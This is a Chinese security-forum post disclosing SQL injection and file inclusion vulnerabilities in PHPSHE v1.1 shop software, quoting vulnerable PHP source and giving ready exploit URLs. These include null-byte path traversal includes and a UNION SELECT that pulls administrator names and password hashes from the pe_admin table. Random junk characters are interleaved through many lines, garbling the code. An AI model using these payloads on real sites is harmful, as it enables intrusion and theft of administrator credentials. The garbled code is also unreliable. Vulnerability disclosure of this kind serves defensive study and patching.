找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2467|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/  S7 G& d7 A. U; Z. S
/* Phpshe v1.1 Vulnerability
- E% B% O9 v* h: M2 w/* ========================
% @7 a0 F" ]9 V0 i2 X# D7 T' M& W/* By: : Kn1f3
- m. C3 s: J+ j8 g! A) w: N# b/* E-Mail : 681796@qq.com, C7 @2 W4 b- L' w0 n6 G
/*******************************************************/
8 @8 ^3 W! l+ A2 r- H3 P2 ?; K0×00 整体大概参数传输0 X1 A5 W5 h9 i

! m( u3 Q+ w  }
: U8 P& ]0 I' l7 Y

# f' q! N8 Y* r% Q: h2 a5 Z//common.php& k3 ^  i: @$ V& N' d
if (get_magic_quotes_gpc()) {
$ B- \/ s) m6 U9 i: H# d!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
4 D* T: L/ p1 \( Q!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
; f3 K" C, t' m( X5 j1 `( U, V1 y}% Y. l# \8 D, e  H
else {' \$ G3 D2 V5 `1 O) I
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');# {- g( [7 f, r: d/ m
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
$ m, i* t' P0 l! E5 u: @  j* O}& ]! {$ i- s4 P+ R9 Z0 _4 r
session_start();
3 ^8 i" Q; C4 x/ J2 `5 N7 [!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
: E& Y0 `8 }; L. O!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');/ j9 u; ]3 X0 V3 Y% f9 \% O

$ t" O0 _. N' d6 l4 [0×01 包含漏洞
$ i) h7 N, [4 o: c* d 8 Q' t8 W0 I3 H, n! M+ a
- ?3 {, T4 V! S& o
//首页文件
$ b0 U  d6 r: [$ v( a2 _<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
7 G; Z, g8 C" A/ ?8 _# Iinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞* W5 g9 p* U. g0 Q1 |5 v4 O
pe_result();: ]- }5 W4 j2 _
?>6 ^& H" u- p8 x
//common 文件 第15行开始
: N# \. V: q' t. uurl路由配置; S1 @% W7 d8 F! G% B. C
$module = $mod = $act = 'index';
$ {& }4 ^0 |0 h' F, q; n) f$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);1 X% P  R) x5 B0 ^; o
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);& Y6 E  q* K' k6 U. {5 r
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);3 I: J; V9 E9 {3 ~: U3 o- z- c2 y
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
0 m% L' G9 ~* V# x

4 ]1 T1 Q% j8 j# A$ z/ K
% Y- ]# \! ^5 c' `
0×02 搜索注入
+ o5 v/ ?  l4 e* @5 \ : P) i# Z( d3 u# b% u
<code id="code2">

//product.php文件. g4 ~. {1 w1 e( |
case 'list':
" ]$ v0 `! `+ G( n9 h$category_id = intval($id);
  j! c& u+ Y2 R# y, G$info = $db->pe_select('category', array('category_id'=>$category_id));9 d$ I8 c5 J# t5 I
//搜索, C* l( u9 t. f0 c3 V0 R
$sqlwhere = " and `product_state` = 1";
' {% |% o$ f2 u4 Tpe_lead('hook/category.hook.php');# |* r2 {: C+ \4 n6 A9 v. V) Y7 V
if ($category_id) {
6 n4 `$ `' S7 H: @. `where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
- p9 j0 }+ P/ Y1 j. F& }}
4 D" E% P& U* S1 T2 C. Q$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
0 d  m, c" ?3 E/ W# x# ~if ($_g_orderby) {) X3 v% n4 p3 ?. [7 @+ E
$orderby = explode('_', $_g_orderby);
6 b- d7 M. H: I& g0 d$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";2 z- {. L6 v0 J; M' `2 w
}
2 g# n6 w: I- i! n, v# a! _else {: z0 f3 k9 F  u; u+ Q
$sqlwhere .= " order by `product_id` desc";, Q! O4 W7 f9 U+ [$ e
}/ D0 d6 ]  `) T1 ^  Z( t
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));- d6 f. \6 U6 L9 G; H' r
//热卖排行5 v$ ?* T/ l' L6 Q, o; S0 x& Y
$product_hotlist = product_hotlist();
( z! i! a, M1 g  ?5 ?2 q//当前路径
& Z8 F8 j5 |: u$nowpath = category_path($category_id);
6 Y' [9 i+ X# `5 u+ {. W3 X$seo = pe_seo($info['category_name']);
0 p# M6 g- v( ?' I6 B  Qinclude(pe_tpl('product_list.html'));
6 c& }& @* ^& I7 o9 ]( D4 i//跟进selectall函数库) @( }5 _9 E# P1 j% Y+ n0 _. a
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array()): r8 H. Y* E" d. M* T. u* ]% q9 w4 ^
{: c9 G+ b% C% i7 Y
//处理条件语句
- w! c# N; r. L+ n* {- x. _# G0 s$sqlwhere = $this->_dowhere($where);
6 z7 K4 e  l# j! t- t$ u, \! x7 Xreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);! B! d2 G9 W: Z+ l
}2 y) ^. t1 E% _
//exp
$ Q+ V1 E& f0 h7 l9 qproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='14 n, |4 n4 M1 t- K

</code>6 ?, j! `1 W6 q7 _1 I
( n4 F" q% U5 I" I
0×03 包含漏洞2
; i# R; k1 P. i. G; F1 g1 @
) F. v+ v6 H0 Q+ a3 h<code id="code3">

//order.php

case 'pay':

  n% ^9 q' a" h- R# W9 G
$order_id = pe_dbhold($_g_id);

( K- U  ?) x. I& h) ~; O
$cache_payway = cache::get('payway');

$ W- |, s0 t% ^6 c9 g8 o
foreach($cache_payway as $k => $v) {


' \# d# C$ O+ `$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

; M: S5 Z+ U& g- @
if ($k == 'bank') {

9 ~$ Q( Q" m8 O; g5 h
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


0 E! W/ z1 X) Z}

3 G$ X1 \; l6 G2 ?  w, w
}


3 Z# C  N( l& z  O5 [4 T$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


8 J. F3 t2 g1 s& h!$order['order_id'] && pe_error('订单号错误...');

2 V. p% B/ p; o& @6 l
if (isset($_p_pesubmit)) {

1 ]) {1 q+ j: _: I9 `
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


6 D) Q6 ]5 j4 W: [$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

- G) g- O" m# w. w
foreach ($info_list as $v) {


% x" m6 G, C5 ?" y+ J$order['order_name'] .= "{$v['product_name']};";  [5 H+ y/ v  \

$ e; h6 O" y1 ]
}

# Z* m' i% O5 E0 K8 P! h
echo '正在为您连接支付网站,请稍后...';


1 n: E0 N0 F3 J) `; t0 t4 Winclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

% k! B+ Q2 J9 R
}//当一切准备好的时候就可以进行"鸡肋包含了"


% k6 T" l" A& relse {


1 R  M5 i8 d2 U# `* \pe_error('支付错误...');

) [% K0 {0 S2 i! X: Z2 u6 h8 F
}


" m+ `+ x$ `5 N6 o}


, B1 b) T+ ]6 f% V! y0 W' r. h$seo = pe_seo('选择支付方式');

. H1 K" v8 ], A* W; Q' y) n
include(pe_tpl('order_pay.html'));


0 I" G7 J* s' nbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
6 g2 K1 p- n* A

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表